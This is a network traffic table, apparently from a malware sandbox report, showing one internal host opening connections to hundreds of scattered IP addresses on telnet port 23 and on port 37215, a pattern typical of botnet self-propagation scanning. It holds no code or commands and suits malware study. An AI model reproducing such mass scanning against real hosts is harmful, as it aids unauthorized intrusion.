Nov 23, 2023 05:14:47.586982012 CET	55738	23	192.168.2.13	143.39.150.189
Nov 23, 2023 05:14:47.587028027 CET	55738	23	192.168.2.13	223.240.166.231
Nov 23, 2023 05:14:47.587028027 CET	55738	23	192.168.2.13	206.178.251.203
Nov 23, 2023 05:14:47.587028027 CET	55738	23	192.168.2.13	156.71.38.54
Nov 23, 2023 05:14:47.587032080 CET	55738	23	192.168.2.13	136.36.15.7
Nov 23, 2023 05:14:47.587032080 CET	55738	23	192.168.2.13	35.152.76.78
Nov 23, 2023 05:14:47.587033987 CET	55738	23	192.168.2.13	200.124.69.205
Nov 23, 2023 05:14:47.587033987 CET	55738	23	192.168.2.13	165.224.230.29
Nov 23, 2023 05:14:47.587033987 CET	55738	23	192.168.2.13	47.104.39.34
Nov 23, 2023 05:14:47.587035894 CET	55738	23	192.168.2.13	197.113.154.248
Nov 23, 2023 05:14:47.587044001 CET	55738	23	192.168.2.13	97.27.81.54
Nov 23, 2023 05:14:47.587044001 CET	55738	23	192.168.2.13	181.45.135.50
Nov 23, 2023 05:14:47.587044001 CET	55738	23	192.168.2.13	8.99.104.189
Nov 23, 2023 05:14:47.587050915 CET	55738	23	192.168.2.13	216.249.60.101
Nov 23, 2023 05:14:47.587050915 CET	55738	23	192.168.2.13	103.11.83.241
Nov 23, 2023 05:14:47.587053061 CET	55738	23	192.168.2.13	255.100.236.117
Nov 23, 2023 05:14:47.587054014 CET	55738	23	192.168.2.13	166.190.228.136
Nov 23, 2023 05:14:47.587054014 CET	55738	23	192.168.2.13	101.86.252.82
Nov 23, 2023 05:14:47.587057114 CET	55738	23	192.168.2.13	63.49.3.179
Nov 23, 2023 05:14:47.587059021 CET	55738	23	192.168.2.13	131.252.173.164
Nov 23, 2023 05:14:47.587059021 CET	55738	23	192.168.2.13	122.62.28.65
Nov 23, 2023 05:14:47.587068081 CET	55738	23	192.168.2.13	158.179.34.175
Nov 23, 2023 05:14:47.587068081 CET	55738	23	192.168.2.13	59.116.140.254
Nov 23, 2023 05:14:47.587068081 CET	55738	23	192.168.2.13	60.5.95.127
Nov 23, 2023 05:14:47.587068081 CET	55738	23	192.168.2.13	77.115.152.107
Nov 23, 2023 05:14:47.587068081 CET	55738	23	192.168.2.13	162.215.45.74
Nov 23, 2023 05:14:47.587070942 CET	55738	23	192.168.2.13	222.213.170.235
Nov 23, 2023 05:14:47.587070942 CET	55738	23	192.168.2.13	149.164.159.125
Nov 23, 2023 05:14:47.587070942 CET	55738	23	192.168.2.13	244.77.194.31
Nov 23, 2023 05:14:47.587070942 CET	55738	23	192.168.2.13	43.17.33.113
Nov 23, 2023 05:14:47.587074995 CET	55738	23	192.168.2.13	173.93.10.149
Nov 23, 2023 05:14:47.587074995 CET	55738	23	192.168.2.13	54.111.122.169
Nov 23, 2023 05:14:47.587075949 CET	55738	23	192.168.2.13	9.130.153.170
Nov 23, 2023 05:14:47.587074995 CET	55738	23	192.168.2.13	150.121.132.232
Nov 23, 2023 05:14:47.587076902 CET	55738	23	192.168.2.13	207.27.124.175
Nov 23, 2023 05:14:47.587078094 CET	55738	23	192.168.2.13	155.230.239.160
Nov 23, 2023 05:14:47.587075949 CET	55738	23	192.168.2.13	172.105.246.178
Nov 23, 2023 05:14:47.587078094 CET	55738	23	192.168.2.13	76.177.113.119
Nov 23, 2023 05:14:47.587086916 CET	55738	23	192.168.2.13	207.145.17.245
Nov 23, 2023 05:14:47.587086916 CET	55738	23	192.168.2.13	128.2.58.181
Nov 23, 2023 05:14:47.587101936 CET	55738	23	192.168.2.13	165.159.94.110
Nov 23, 2023 05:14:47.587112904 CET	55738	23	192.168.2.13	47.246.137.23
Nov 23, 2023 05:14:47.587129116 CET	55738	23	192.168.2.13	111.97.61.134
Nov 23, 2023 05:14:47.587131023 CET	55738	23	192.168.2.13	41.178.104.186
Nov 23, 2023 05:14:47.587131977 CET	55738	23	192.168.2.13	38.32.107.87
Nov 23, 2023 05:14:47.587150097 CET	55738	23	192.168.2.13	161.70.171.65
Nov 23, 2023 05:14:47.587151051 CET	55738	23	192.168.2.13	255.83.196.175
Nov 23, 2023 05:14:47.587151051 CET	55738	23	192.168.2.13	244.78.101.201
Nov 23, 2023 05:14:47.587151051 CET	55738	23	192.168.2.13	73.142.253.28
Nov 23, 2023 05:14:47.587152958 CET	55738	23	192.168.2.13	139.251.114.207
Nov 23, 2023 05:14:47.587152958 CET	55738	23	192.168.2.13	106.175.227.203
Nov 23, 2023 05:14:47.587153912 CET	55738	23	192.168.2.13	247.214.184.119
Nov 23, 2023 05:14:47.587152958 CET	55738	23	192.168.2.13	65.253.165.165
Nov 23, 2023 05:14:47.587153912 CET	55738	23	192.168.2.13	126.16.180.162
Nov 23, 2023 05:14:47.587152958 CET	55738	23	192.168.2.13	79.137.137.46
Nov 23, 2023 05:14:47.587153912 CET	55738	23	192.168.2.13	109.38.97.103
Nov 23, 2023 05:14:47.587177038 CET	55738	23	192.168.2.13	221.87.198.175
Nov 23, 2023 05:14:47.587177038 CET	55738	23	192.168.2.13	129.10.246.9
Nov 23, 2023 05:14:47.587207079 CET	55738	23	192.168.2.13	221.34.143.172
Nov 23, 2023 05:14:47.587208986 CET	55738	23	192.168.2.13	27.62.18.20
Nov 23, 2023 05:14:47.587208986 CET	55738	23	192.168.2.13	164.197.171.35
Nov 23, 2023 05:14:47.587209940 CET	55738	23	192.168.2.13	147.12.225.56
Nov 23, 2023 05:14:47.587208986 CET	55738	23	192.168.2.13	136.19.48.74
Nov 23, 2023 05:14:47.587209940 CET	55738	23	192.168.2.13	68.248.144.120
Nov 23, 2023 05:14:47.587209940 CET	55738	23	192.168.2.13	255.10.84.36
Nov 23, 2023 05:14:47.587227106 CET	55738	23	192.168.2.13	62.171.63.77
Nov 23, 2023 05:14:47.587227106 CET	55738	23	192.168.2.13	249.245.21.217
Nov 23, 2023 05:14:47.587229013 CET	55738	23	192.168.2.13	90.2.85.1
Nov 23, 2023 05:14:47.587227106 CET	55738	23	192.168.2.13	201.83.1.211
Nov 23, 2023 05:14:47.587229013 CET	55738	23	192.168.2.13	70.253.67.206
Nov 23, 2023 05:14:47.587227106 CET	55738	23	192.168.2.13	190.141.3.104
Nov 23, 2023 05:14:47.587229013 CET	55738	23	192.168.2.13	24.220.239.62
Nov 23, 2023 05:14:47.587229967 CET	55738	23	192.168.2.13	66.192.60.145
Nov 23, 2023 05:14:47.587229013 CET	55738	23	192.168.2.13	166.94.176.141
Nov 23, 2023 05:14:47.587229967 CET	55738	23	192.168.2.13	247.160.254.209
Nov 23, 2023 05:14:47.587256908 CET	55738	23	192.168.2.13	53.112.123.173
Nov 23, 2023 05:14:47.587256908 CET	55738	23	192.168.2.13	242.246.177.98
Nov 23, 2023 05:14:47.587256908 CET	55738	23	192.168.2.13	2.222.10.6
Nov 23, 2023 05:14:47.587256908 CET	55738	23	192.168.2.13	142.68.243.197
Nov 23, 2023 05:14:47.587284088 CET	55738	23	192.168.2.13	122.189.186.198
Nov 23, 2023 05:14:47.587284088 CET	55738	23	192.168.2.13	253.181.1.73
Nov 23, 2023 05:14:47.587285995 CET	55738	23	192.168.2.13	150.116.251.207
Nov 23, 2023 05:14:47.587285995 CET	55738	23	192.168.2.13	34.107.116.36
Nov 23, 2023 05:14:47.587285995 CET	55738	23	192.168.2.13	175.49.85.218
Nov 23, 2023 05:14:47.587285995 CET	55738	23	192.168.2.13	216.96.28.164
Nov 23, 2023 05:14:47.587285995 CET	55738	23	192.168.2.13	90.239.60.216
Nov 23, 2023 05:14:47.587285995 CET	55738	23	192.168.2.13	4.217.15.195
Nov 23, 2023 05:14:47.587286949 CET	55738	23	192.168.2.13	75.43.148.165
Nov 23, 2023 05:14:47.587286949 CET	55738	23	192.168.2.13	149.25.86.191
Nov 23, 2023 05:14:47.587300062 CET	55738	23	192.168.2.13	210.48.225.93
Nov 23, 2023 05:14:47.587300062 CET	55738	23	192.168.2.13	173.24.232.53
Nov 23, 2023 05:14:47.587301970 CET	55738	23	192.168.2.13	248.13.68.166
Nov 23, 2023 05:14:47.587301970 CET	55738	23	192.168.2.13	163.164.149.250
Nov 23, 2023 05:14:47.587302923 CET	55738	23	192.168.2.13	47.111.57.179
Nov 23, 2023 05:14:47.587302923 CET	55738	23	192.168.2.13	163.20.247.200
Nov 23, 2023 05:14:47.587306023 CET	55738	23	192.168.2.13	250.220.216.237
Nov 23, 2023 05:14:47.587306023 CET	55738	23	192.168.2.13	135.188.238.26
Nov 23, 2023 05:14:47.587306023 CET	55738	23	192.168.2.13	190.29.209.147
Nov 23, 2023 05:14:47.587306976 CET	55738	23	192.168.2.13	109.120.10.182
Nov 23, 2023 05:14:47.587306976 CET	55738	23	192.168.2.13	90.38.6.23
Nov 23, 2023 05:14:47.587306976 CET	55738	23	192.168.2.13	164.83.83.117
Nov 23, 2023 05:14:47.587348938 CET	55738	23	192.168.2.13	148.50.205.168
Nov 23, 2023 05:14:47.587348938 CET	55738	23	192.168.2.13	219.29.208.36
Nov 23, 2023 05:14:47.587348938 CET	55738	23	192.168.2.13	109.162.97.136
Nov 23, 2023 05:14:47.587351084 CET	55738	23	192.168.2.13	188.49.31.95
Nov 23, 2023 05:14:47.587351084 CET	55738	23	192.168.2.13	100.16.112.48
Nov 23, 2023 05:14:47.587352037 CET	55738	23	192.168.2.13	145.174.240.191
Nov 23, 2023 05:14:47.587352037 CET	55738	23	192.168.2.13	187.98.29.235
Nov 23, 2023 05:14:47.587357044 CET	55738	23	192.168.2.13	32.136.22.87
Nov 23, 2023 05:14:47.587357044 CET	55738	23	192.168.2.13	217.222.179.50
Nov 23, 2023 05:14:47.587357044 CET	55738	23	192.168.2.13	164.180.131.44
Nov 23, 2023 05:14:47.587368011 CET	55738	23	192.168.2.13	67.142.201.47
Nov 23, 2023 05:14:47.587372065 CET	55738	23	192.168.2.13	155.37.69.118
Nov 23, 2023 05:14:47.587372065 CET	55738	23	192.168.2.13	153.214.34.3
Nov 23, 2023 05:14:47.587372065 CET	55738	23	192.168.2.13	141.110.63.212
Nov 23, 2023 05:14:47.587372065 CET	55738	23	192.168.2.13	186.98.183.132
Nov 23, 2023 05:14:47.587383032 CET	55738	23	192.168.2.13	142.122.175.8
Nov 23, 2023 05:14:47.587383032 CET	55738	23	192.168.2.13	247.28.21.57
Nov 23, 2023 05:14:47.587383032 CET	55738	23	192.168.2.13	32.248.248.18
Nov 23, 2023 05:14:47.587410927 CET	55738	23	192.168.2.13	113.243.2.52
Nov 23, 2023 05:14:47.587419987 CET	55738	23	192.168.2.13	108.169.229.178
Nov 23, 2023 05:14:47.587423086 CET	55738	23	192.168.2.13	188.129.78.188
Nov 23, 2023 05:14:47.587424994 CET	55738	23	192.168.2.13	113.222.89.179
Nov 23, 2023 05:14:47.587436914 CET	55738	23	192.168.2.13	200.184.31.168
Nov 23, 2023 05:14:47.587436914 CET	55738	23	192.168.2.13	155.207.82.104
Nov 23, 2023 05:14:47.587443113 CET	55738	23	192.168.2.13	163.199.246.135
Nov 23, 2023 05:14:47.587443113 CET	55738	23	192.168.2.13	113.94.191.60
Nov 23, 2023 05:14:47.587443113 CET	55738	23	192.168.2.13	53.119.0.216
Nov 23, 2023 05:14:47.587475061 CET	55738	23	192.168.2.13	122.127.179.121
Nov 23, 2023 05:14:47.587475061 CET	55738	23	192.168.2.13	247.225.172.227
Nov 23, 2023 05:14:47.587496042 CET	55738	23	192.168.2.13	102.49.246.49
Nov 23, 2023 05:14:47.587496042 CET	55738	23	192.168.2.13	149.171.162.65
Nov 23, 2023 05:14:47.587496042 CET	55738	23	192.168.2.13	14.200.34.55
Nov 23, 2023 05:14:47.587496042 CET	55738	23	192.168.2.13	83.132.60.156
Nov 23, 2023 05:14:47.587500095 CET	55738	23	192.168.2.13	252.237.214.132
Nov 23, 2023 05:14:47.587500095 CET	55738	23	192.168.2.13	80.16.127.152
Nov 23, 2023 05:14:47.587501049 CET	55738	23	192.168.2.13	94.215.87.208
Nov 23, 2023 05:14:47.587500095 CET	55738	23	192.168.2.13	83.120.104.231
Nov 23, 2023 05:14:47.587501049 CET	55738	23	192.168.2.13	180.0.35.160
Nov 23, 2023 05:14:47.587501049 CET	55738	23	192.168.2.13	43.19.188.49
Nov 23, 2023 05:14:47.587503910 CET	55738	23	192.168.2.13	43.181.240.127
Nov 23, 2023 05:14:47.587501049 CET	55738	23	192.168.2.13	98.2.253.44
Nov 23, 2023 05:14:47.587505102 CET	55738	23	192.168.2.13	37.138.142.212
Nov 23, 2023 05:14:47.587510109 CET	55738	23	192.168.2.13	27.4.161.83
Nov 23, 2023 05:14:47.587512016 CET	55738	23	192.168.2.13	107.118.187.236
Nov 23, 2023 05:14:47.587512016 CET	55738	23	192.168.2.13	67.184.52.254
Nov 23, 2023 05:14:47.587513924 CET	55738	23	192.168.2.13	124.194.135.171
Nov 23, 2023 05:14:47.587515116 CET	55738	23	192.168.2.13	20.213.93.213
Nov 23, 2023 05:14:47.587515116 CET	55738	23	192.168.2.13	95.221.81.152
Nov 23, 2023 05:14:47.587522030 CET	55738	23	192.168.2.13	110.48.251.25
Nov 23, 2023 05:14:47.587529898 CET	55738	23	192.168.2.13	158.225.31.132
Nov 23, 2023 05:14:47.587536097 CET	55738	23	192.168.2.13	156.27.178.182
Nov 23, 2023 05:14:47.587536097 CET	55738	23	192.168.2.13	183.185.157.186
Nov 23, 2023 05:14:47.587536097 CET	55738	23	192.168.2.13	173.250.151.215
Nov 23, 2023 05:14:47.587563992 CET	55738	23	192.168.2.13	75.181.136.39
Nov 23, 2023 05:14:47.587564945 CET	55738	23	192.168.2.13	121.74.232.0
Nov 23, 2023 05:14:47.587568045 CET	55738	23	192.168.2.13	245.242.28.186
Nov 23, 2023 05:14:47.587568045 CET	55738	23	192.168.2.13	81.52.234.138
Nov 23, 2023 05:14:47.587584019 CET	55738	23	192.168.2.13	60.122.8.126
Nov 23, 2023 05:14:47.587584019 CET	55738	23	192.168.2.13	187.116.57.106
Nov 23, 2023 05:14:47.587584972 CET	55738	23	192.168.2.13	31.243.241.130
Nov 23, 2023 05:14:47.587584972 CET	55738	23	192.168.2.13	222.178.109.177
Nov 23, 2023 05:14:47.587584972 CET	55738	23	192.168.2.13	20.142.243.84
Nov 23, 2023 05:14:47.587584972 CET	55738	23	192.168.2.13	196.234.233.202
Nov 23, 2023 05:14:47.587587118 CET	55738	23	192.168.2.13	194.99.17.115
Nov 23, 2023 05:14:47.587585926 CET	55738	23	192.168.2.13	58.25.94.40
Nov 23, 2023 05:14:47.587587118 CET	55738	23	192.168.2.13	155.98.27.108
Nov 23, 2023 05:14:47.587587118 CET	55738	23	192.168.2.13	110.181.158.172
Nov 23, 2023 05:14:47.587587118 CET	55738	23	192.168.2.13	83.181.131.209
Nov 23, 2023 05:14:47.587593079 CET	55738	23	192.168.2.13	194.77.16.222
Nov 23, 2023 05:14:47.587593079 CET	55738	23	192.168.2.13	207.55.88.3
Nov 23, 2023 05:14:47.587625027 CET	55738	23	192.168.2.13	212.61.194.68
Nov 23, 2023 05:14:47.587642908 CET	55738	23	192.168.2.13	183.203.119.80
Nov 23, 2023 05:14:47.587644100 CET	55738	23	192.168.2.13	104.249.202.68
Nov 23, 2023 05:14:47.587645054 CET	55738	23	192.168.2.13	202.73.64.160
Nov 23, 2023 05:14:47.587645054 CET	55738	23	192.168.2.13	114.85.65.77
Nov 23, 2023 05:14:47.587647915 CET	55738	23	192.168.2.13	251.94.151.213
Nov 23, 2023 05:14:47.587647915 CET	55738	23	192.168.2.13	150.5.176.221
Nov 23, 2023 05:14:47.587647915 CET	55738	23	192.168.2.13	31.26.106.74
Nov 23, 2023 05:14:47.587647915 CET	55738	23	192.168.2.13	124.70.46.183
Nov 23, 2023 05:14:47.587650061 CET	55738	23	192.168.2.13	250.168.252.76
Nov 23, 2023 05:14:47.587651014 CET	55738	23	192.168.2.13	189.12.68.23
Nov 23, 2023 05:14:47.587662935 CET	55738	23	192.168.2.13	57.240.5.156
Nov 23, 2023 05:14:47.587662935 CET	55738	23	192.168.2.13	175.166.163.207
Nov 23, 2023 05:14:47.587666035 CET	55738	23	192.168.2.13	247.114.91.68
Nov 23, 2023 05:14:47.587662935 CET	55738	23	192.168.2.13	48.143.247.63
Nov 23, 2023 05:14:47.587670088 CET	55738	23	192.168.2.13	96.25.91.117
Nov 23, 2023 05:14:47.587670088 CET	55738	23	192.168.2.13	191.137.51.81
Nov 23, 2023 05:14:47.587670088 CET	55738	23	192.168.2.13	216.210.249.126
Nov 23, 2023 05:14:47.587671041 CET	55738	23	192.168.2.13	213.153.93.229
Nov 23, 2023 05:14:47.587672949 CET	55738	23	192.168.2.13	8.36.203.7
Nov 23, 2023 05:14:47.587672949 CET	55738	23	192.168.2.13	66.78.101.47
Nov 23, 2023 05:14:47.587673903 CET	55738	23	192.168.2.13	37.191.215.154
Nov 23, 2023 05:14:47.587672949 CET	55738	23	192.168.2.13	118.155.109.129
Nov 23, 2023 05:14:47.587672949 CET	55738	23	192.168.2.13	85.229.27.156
Nov 23, 2023 05:14:47.587672949 CET	55738	23	192.168.2.13	77.136.79.11
Nov 23, 2023 05:14:47.587726116 CET	55738	23	192.168.2.13	34.216.6.62
Nov 23, 2023 05:14:47.587726116 CET	55738	23	192.168.2.13	189.228.211.87
Nov 23, 2023 05:14:47.587726116 CET	55738	23	192.168.2.13	97.174.91.51
Nov 23, 2023 05:14:47.587727070 CET	55738	23	192.168.2.13	71.188.119.206
Nov 23, 2023 05:14:47.587728977 CET	55738	23	192.168.2.13	73.50.82.95
Nov 23, 2023 05:14:47.587726116 CET	55738	23	192.168.2.13	212.97.29.27
Nov 23, 2023 05:14:47.587727070 CET	55738	23	192.168.2.13	47.145.84.254
Nov 23, 2023 05:14:47.587727070 CET	55738	23	192.168.2.13	207.169.113.84
Nov 23, 2023 05:14:47.587727070 CET	55738	23	192.168.2.13	53.98.62.67
Nov 23, 2023 05:14:47.587738037 CET	55738	23	192.168.2.13	110.113.211.158
Nov 23, 2023 05:14:47.587738037 CET	55738	23	192.168.2.13	107.45.188.174
Nov 23, 2023 05:14:47.587740898 CET	55738	23	192.168.2.13	172.46.135.97
Nov 23, 2023 05:14:47.587742090 CET	55738	23	192.168.2.13	145.145.2.28
Nov 23, 2023 05:14:47.587750912 CET	55738	23	192.168.2.13	106.126.151.139
Nov 23, 2023 05:14:47.587750912 CET	55738	23	192.168.2.13	118.20.5.46
Nov 23, 2023 05:14:47.587800026 CET	55738	23	192.168.2.13	251.248.60.172
Nov 23, 2023 05:14:47.587800980 CET	55738	23	192.168.2.13	190.192.118.108
Nov 23, 2023 05:14:47.587800980 CET	55738	23	192.168.2.13	152.123.130.85
Nov 23, 2023 05:14:47.587800980 CET	55738	23	192.168.2.13	19.18.126.226
Nov 23, 2023 05:14:47.587801933 CET	55738	23	192.168.2.13	96.72.15.161
Nov 23, 2023 05:14:47.587801933 CET	55738	23	192.168.2.13	203.216.124.105
Nov 23, 2023 05:14:47.587801933 CET	55738	23	192.168.2.13	126.30.100.233
Nov 23, 2023 05:14:47.587801933 CET	55738	23	192.168.2.13	174.220.45.163
Nov 23, 2023 05:14:47.587801933 CET	55738	23	192.168.2.13	250.108.89.186
Nov 23, 2023 05:14:47.587801933 CET	55738	23	192.168.2.13	59.20.138.83
Nov 23, 2023 05:14:47.587817907 CET	55738	23	192.168.2.13	176.92.82.144
Nov 23, 2023 05:14:47.587817907 CET	55738	23	192.168.2.13	208.31.203.68
Nov 23, 2023 05:14:47.587820053 CET	55738	23	192.168.2.13	14.255.106.50
Nov 23, 2023 05:14:47.587821007 CET	55738	23	192.168.2.13	87.159.74.181
Nov 23, 2023 05:14:47.587821007 CET	55738	23	192.168.2.13	251.37.218.74
Nov 23, 2023 05:14:47.587821960 CET	55738	23	192.168.2.13	184.132.196.199
Nov 23, 2023 05:14:47.587821007 CET	55738	23	192.168.2.13	151.148.130.220
Nov 23, 2023 05:14:47.587821007 CET	55738	23	192.168.2.13	4.239.1.223
Nov 23, 2023 05:14:47.587832928 CET	55738	23	192.168.2.13	16.99.71.167
Nov 23, 2023 05:14:47.587856054 CET	55738	23	192.168.2.13	255.69.152.43
Nov 23, 2023 05:14:47.587856054 CET	55738	23	192.168.2.13	147.90.135.41
Nov 23, 2023 05:14:47.587856054 CET	55738	23	192.168.2.13	200.192.171.244
Nov 23, 2023 05:14:47.587876081 CET	55738	23	192.168.2.13	195.29.77.47
Nov 23, 2023 05:14:47.587876081 CET	55738	23	192.168.2.13	14.31.251.164
Nov 23, 2023 05:14:47.587882042 CET	55738	23	192.168.2.13	82.22.28.179
Nov 23, 2023 05:14:47.587882042 CET	55738	23	192.168.2.13	88.107.238.78
Nov 23, 2023 05:14:47.587884903 CET	55738	23	192.168.2.13	58.135.240.162
Nov 23, 2023 05:14:47.587882996 CET	55738	23	192.168.2.13	255.122.156.249
Nov 23, 2023 05:14:47.587882996 CET	55738	23	192.168.2.13	192.196.171.133
Nov 23, 2023 05:14:47.587888002 CET	55738	23	192.168.2.13	89.11.254.39
Nov 23, 2023 05:14:47.587888956 CET	55738	23	192.168.2.13	217.91.78.228
Nov 23, 2023 05:14:47.587889910 CET	55738	23	192.168.2.13	168.170.240.106
Nov 23, 2023 05:14:47.587882042 CET	55738	23	192.168.2.13	118.11.44.169
Nov 23, 2023 05:14:47.587889910 CET	55738	23	192.168.2.13	115.11.132.207
Nov 23, 2023 05:14:47.587893009 CET	55738	23	192.168.2.13	16.37.195.18
Nov 23, 2023 05:14:47.592973948 CET	40280	45	192.168.2.13	74.50.84.203
Nov 23, 2023 05:14:47.593775988 CET	54970	37215	192.168.2.13	197.121.211.145
Nov 23, 2023 05:14:47.593827963 CET	54970	37215	192.168.2.13	197.172.37.157
Nov 23, 2023 05:14:47.593842983 CET	54970	37215	192.168.2.13	197.99.68.19
Nov 23, 2023 05:14:47.593844891 CET	54970	37215	192.168.2.13	156.123.80.145
Nov 23, 2023 05:14:47.593862057 CET	54970	37215	192.168.2.13	41.166.51.15
Nov 23, 2023 05:14:47.593883038 CET	54970	37215	192.168.2.13	197.249.58.104
Nov 23, 2023 05:14:47.593898058 CET	54970	37215	192.168.2.13	197.134.204.33
Nov 23, 2023 05:14:47.593898058 CET	54970	37215	192.168.2.13	156.103.199.52
Nov 23, 2023 05:14:47.593940973 CET	54970	37215	192.168.2.13	197.80.192.155
Nov 23, 2023 05:14:47.593951941 CET	54970	37215	192.168.2.13	156.154.63.250
Nov 23, 2023 05:14:47.593952894 CET	54970	37215	192.168.2.13	41.38.129.117
Nov 23, 2023 05:14:47.593955040 CET	54970	37215	192.168.2.13	41.88.16.59
Nov 23, 2023 05:14:47.593955994 CET	54970	37215	192.168.2.13	156.15.231.45
Nov 23, 2023 05:14:47.593955040 CET	54970	37215	192.168.2.13	156.117.233.218
Nov 23, 2023 05:14:47.593955994 CET	54970	37215	192.168.2.13	41.195.119.199
Nov 23, 2023 05:14:47.593959093 CET	54970	37215	192.168.2.13	197.193.10.55
Nov 23, 2023 05:14:47.593960047 CET	54970	37215	192.168.2.13	41.79.192.50
Nov 23, 2023 05:14:47.593959093 CET	54970	37215	192.168.2.13	41.207.202.240
Nov 23, 2023 05:14:47.593960047 CET	54970	37215	192.168.2.13	197.197.3.84
Nov 23, 2023 05:14:47.593959093 CET	54970	37215	192.168.2.13	156.232.225.235
Nov 23, 2023 05:14:47.593960047 CET	54970	37215	192.168.2.13	156.224.12.71
Nov 23, 2023 05:14:47.593959093 CET	54970	37215	192.168.2.13	197.204.225.82
Nov 23, 2023 05:14:47.593967915 CET	54970	37215	192.168.2.13	197.15.236.2
Nov 23, 2023 05:14:47.593967915 CET	54970	37215	192.168.2.13	197.203.174.213
Nov 23, 2023 05:14:47.593969107 CET	54970	37215	192.168.2.13	197.187.124.142
Nov 23, 2023 05:14:47.593969107 CET	54970	37215	192.168.2.13	41.165.2.33
Nov 23, 2023 05:14:47.593969107 CET	54970	37215	192.168.2.13	41.209.75.22
Nov 23, 2023 05:14:47.593969107 CET	54970	37215	192.168.2.13	197.109.92.169
Nov 23, 2023 05:14:47.593969107 CET	54970	37215	192.168.2.13	41.2.122.90
Nov 23, 2023 05:14:47.594079018 CET	54970	37215	192.168.2.13	41.134.79.11
Nov 23, 2023 05:14:47.594084978 CET	54970	37215	192.168.2.13	197.92.95.213
Nov 23, 2023 05:14:47.594089985 CET	54970	37215	192.168.2.13	156.151.29.152
Nov 23, 2023 05:14:47.594100952 CET	54970	37215	192.168.2.13	156.208.132.161
Nov 23, 2023 05:14:47.594105959 CET	54970	37215	192.168.2.13	156.96.81.2
Nov 23, 2023 05:14:47.594115973 CET	54970	37215	192.168.2.13	41.213.39.70
Nov 23, 2023 05:14:47.594130993 CET	54970	37215	192.168.2.13	156.176.132.116
Nov 23, 2023 05:14:47.594136953 CET	54970	37215	192.168.2.13	197.166.153.43
Nov 23, 2023 05:14:47.594137907 CET	54970	37215	192.168.2.13	197.56.16.5
Nov 23, 2023 05:14:47.594146967 CET	54970	37215	192.168.2.13	197.78.80.52
Nov 23, 2023 05:14:47.594146967 CET	54970	37215	192.168.2.13	197.71.85.143
Nov 23, 2023 05:14:47.594151974 CET	54970	37215	192.168.2.13	156.127.103.188
Nov 23, 2023 05:14:47.594163895 CET	54970	37215	192.168.2.13	156.15.56.22
Nov 23, 2023 05:14:47.594172955 CET	54970	37215	192.168.2.13	156.18.83.31
Nov 23, 2023 05:14:47.594172955 CET	54970	37215	192.168.2.13	41.94.158.108
Nov 23, 2023 05:14:47.594228029 CET	54970	37215	192.168.2.13	41.133.29.47
Nov 23, 2023 05:14:47.594228029 CET	54970	37215	192.168.2.13	41.138.115.132
Nov 23, 2023 05:14:47.594245911 CET	54970	37215	192.168.2.13	41.160.222.165
Nov 23, 2023 05:14:47.594247103 CET	54970	37215	192.168.2.13	197.123.112.158
Nov 23, 2023 05:14:47.594249010 CET	54970	37215	192.168.2.13	41.24.144.199
Nov 23, 2023 05:14:47.594249010 CET	54970	37215	192.168.2.13	156.2.168.117
Nov 23, 2023 05:14:47.594249010 CET	54970	37215	192.168.2.13	156.140.30.9
Nov 23, 2023 05:14:47.594249010 CET	54970	37215	192.168.2.13	156.187.49.42
Nov 23, 2023 05:14:47.594249964 CET	54970	37215	192.168.2.13	41.210.55.224
Nov 23, 2023 05:14:47.594253063 CET	54970	37215	192.168.2.13	41.230.150.51
Nov 23, 2023 05:14:47.594249010 CET	54970	37215	192.168.2.13	41.175.184.223
Nov 23, 2023 05:14:47.594253063 CET	54970	37215	192.168.2.13	41.250.204.254
Nov 23, 2023 05:14:47.594249964 CET	54970	37215	192.168.2.13	197.25.150.137
Nov 23, 2023 05:14:47.594249964 CET	54970	37215	192.168.2.13	156.147.159.113
Nov 23, 2023 05:14:47.594278097 CET	54970	37215	192.168.2.13	197.69.27.33
Nov 23, 2023 05:14:47.594278097 CET	54970	37215	192.168.2.13	197.77.136.4
Nov 23, 2023 05:14:47.594278097 CET	54970	37215	192.168.2.13	197.199.76.7
Nov 23, 2023 05:14:47.594278097 CET	54970	37215	192.168.2.13	156.59.35.246
Nov 23, 2023 05:14:47.594278097 CET	54970	37215	192.168.2.13	156.248.142.148
Nov 23, 2023 05:14:47.594281912 CET	54970	37215	192.168.2.13	197.193.237.108
Nov 23, 2023 05:14:47.594281912 CET	54970	37215	192.168.2.13	156.187.113.108
Nov 23, 2023 05:14:47.594281912 CET	54970	37215	192.168.2.13	41.244.237.36
Nov 23, 2023 05:14:47.594283104 CET	54970	37215	192.168.2.13	156.24.201.28
Nov 23, 2023 05:14:47.594283104 CET	54970	37215	192.168.2.13	197.71.32.157
Nov 23, 2023 05:14:47.594285011 CET	54970	37215	192.168.2.13	41.246.79.25
Nov 23, 2023 05:14:47.594285011 CET	54970	37215	192.168.2.13	197.113.47.60
Nov 23, 2023 05:14:47.594285011 CET	54970	37215	192.168.2.13	156.2.66.16
Nov 23, 2023 05:14:47.594286919 CET	54970	37215	192.168.2.13	41.134.104.238
Nov 23, 2023 05:14:47.594286919 CET	54970	37215	192.168.2.13	156.69.70.180
Nov 23, 2023 05:14:47.594286919 CET	54970	37215	192.168.2.13	41.151.214.94
Nov 23, 2023 05:14:47.594286919 CET	54970	37215	192.168.2.13	41.246.229.20
Nov 23, 2023 05:14:47.594286919 CET	54970	37215	192.168.2.13	156.21.108.155
Nov 23, 2023 05:14:47.594301939 CET	54970	37215	192.168.2.13	41.101.184.158
Nov 23, 2023 05:14:47.594302893 CET	54970	37215	192.168.2.13	41.37.11.185
Nov 23, 2023 05:14:47.594302893 CET	54970	37215	192.168.2.13	156.58.65.67
Nov 23, 2023 05:14:47.594302893 CET	54970	37215	192.168.2.13	41.46.79.180
Nov 23, 2023 05:14:47.594304085 CET	54970	37215	192.168.2.13	41.201.87.12
Nov 23, 2023 05:14:47.594310999 CET	54970	37215	192.168.2.13	156.247.25.138
Nov 23, 2023 05:14:47.594310999 CET	54970	37215	192.168.2.13	41.184.122.222
Nov 23, 2023 05:14:47.594311953 CET	54970	37215	192.168.2.13	197.179.88.99
Nov 23, 2023 05:14:47.594316006 CET	54970	37215	192.168.2.13	156.135.96.104
Nov 23, 2023 05:14:47.594325066 CET	54970	37215	192.168.2.13	156.139.41.211
Nov 23, 2023 05:14:47.594325066 CET	54970	37215	192.168.2.13	156.190.170.118
Nov 23, 2023 05:14:47.594325066 CET	54970	37215	192.168.2.13	197.77.71.30
Nov 23, 2023 05:14:47.594325066 CET	54970	37215	192.168.2.13	41.119.166.11
Nov 23, 2023 05:14:47.594325066 CET	54970	37215	192.168.2.13	41.55.246.208
Nov 23, 2023 05:14:47.594326019 CET	54970	37215	192.168.2.13	41.151.76.188
